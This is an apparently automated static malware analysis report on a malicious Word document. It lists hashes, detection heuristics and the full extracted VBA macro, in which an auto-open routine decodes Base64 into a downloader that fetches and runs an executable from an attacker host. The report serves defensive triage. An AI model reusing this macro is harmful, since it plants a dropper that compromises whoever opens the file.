Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 1a75fcc886945a38…

MALICIOUS

Office (OOXML)

389.6 KB Created: 2021-04-29 02:06:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-05-10
MD5: f6a98c33113a27385f7181a17a97c135 SHA-1: 3ff36ac8b2a676bf6f2349f0e7874383be6fd5ad SHA-256: 1a75fcc886945a3863dce3df86322244c1a87ac2abc0e05b83ca1bc3fbd0c346
250 Risk Score

Heuristics 8

  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
        WScript.CreateObject("WScript.Shell").Run (TempFile)
  • VBA Base64-decoded Shell command stager critical OLE_VBA_BASE64_SHELL_COMMAND_STAGER
    VBA auto-exec macro decodes Base64 string literals into command or script-launch text and executes the result with Shell. This catches cmd/cscript/PowerShell/VBS launchers hidden from plain keyword matching.
    Matched line in script
        Set File = CreateObject("Scripting.FileSystemObject").CreateTextFile(CreateObject("Scripting.FileSystemObject").GetSpecialFolder(2) + "/serve.vbs", True)
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Set File = CreateObject("Scripting.FileSystemObject").CreateTextFile(CreateObject("Scripting.FileSystemObject").GetSpecialFolder(2) + "/serve.vbs", True)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
  • Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://hack.amiralrouter.online/test.exe Referenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordml/cexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2646 bytes
SHA-256: 23edc3947ccd618f22cd453cea008df722543ff1ae07bcdfae5224d1e6f460a4
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 6 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Function Base64Decode(ByVal base64String)
    Const Base64 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
    Dim dataLength, sOut, groupBegin
    dataLength = Len(base64String)
    For groupBegin = 1 To dataLength Step 4
        Dim numDataBytes, CharCounter, thisChar, thisData, nGroup, pOut
        numDataBytes = 3
        nGroup = 0
        For CharCounter = 0 To 3
            thisChar = Mid(base64String, groupBegin + CharCounter, 1)
            If thisChar = "=" Then
                numDataBytes = numDataBytes - 1
                thisData = 0
            Else
                thisData = InStr(1, Base64, thisChar, vbBinaryCompare) - 1
            End If
            nGroup = 64 * nGroup + thisData
        Next
        nGroup = Hex(nGroup)
        nGroup = String(6 - Len(nGroup), "0") & nGroup
        pOut = Chr(CByte("&H" & Mid(nGroup, 1, 2))) + Chr(CByte("&H" & Mid(nGroup, 3, 2))) + Chr(CByte("&H" & Mid(nGroup, 5, 2)))
        
        sOut = sOut & Left(pOut, numDataBytes)
    Next
    Base64Decode = sOut
End Function

Private Sub Document_Open()
    Dim data
    data = data & "ICAgIERpbSB4SHR0cDogU2V0IHhIdHRwID0gQ3JlYXRlT2JqZWN0KCJNaWNyb3NvZnQuWE1MSFRUUCIpDQogICAgRGltIGJTdHJtOiBTZXQgYlN0cm0gPSBDcmVhdGVP"
    data = data & "YmplY3QoIkFkb2RiLlN0cmVhbSIpDQogICAgeEh0dHAuT3BlbiAiR0VUIiwgImh0dHBzOi8vaGFjay5hbWlyYWxyb3V0ZXIub25saW5lL3Rlc3QuZXhlIiwgRmFsc2UN"
    data = data & "CiAgICB4SHR0cC5TZW5kDQogICAgDQogICAgVGVtcEZpbGUgPSBDcmVhdGVPYmplY3QoIlNjcmlwdGluZy5GaWxlU3lzdGVtT2JqZWN0IikuR2V0U3BlY2lhbEZvbGRl"
    data = data & "cigyKSArICIvc2VydmUuZXhlIg0KICAgICANCiAgICBXaXRoIGJTdHJtDQogICAgICAgIC5UeXBlID0gMQ0KICAgICAgICAuT3Blbg0KICAgICAgICAud3JpdGUgeEh0"
    data = data & "dHAucmVzcG9uc2VCb2R5DQogICAgICAgIC5zYXZldG9maWxlIFRlbXBGaWxlLCAyDQogICAgRW5kIFdpdGgNCiAgICAgIA0KICAgIERpbSBvYmpTaGVsbA0KICAgIFNl"
    data = data & "dCBvYmpTaGVsbCA9IENyZWF0ZU9iamVjdCgiV1NjcmlwdC5TaGVsbCIpDQogICAgb2JqU2hlbGwuUnVuIChUZW1wRmlsZSkNCiAgICBTZXQgb2JqU2hlbGwgPSBOb3Ro"
    data = data & "aW5nDQoNCg=="


    Set File = CreateObject("Scripting.FileSystemObject").CreateTextFile(CreateObject("Scripting.FileSystemObject").GetSpecialFolder(2) + "/serve.vbs", True)
    File.Write Base64Decode(data)
    File.Close
 
    WScript.CreateObject("WScript.Shell").Run (TempFile)
      
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 794624 bytes
SHA-256: 8fcff02c689c24b146e4644a33cbb44f1c332b73f3e682a67685a62a3bc0e943
Detection
ClamAV: No threats found
Obfuscation or payload: likely
5652 of 9170 identifiers look randomly generated (e.g. 'X0JaOKlATgTAOhBFazSqxmhXCmQAvHhW5EJQGIFD'); 91 string-concatenation chain(s) — consistent with name-mangling obfuscation. Carved artifact contains 4983 long base64-like blob(s).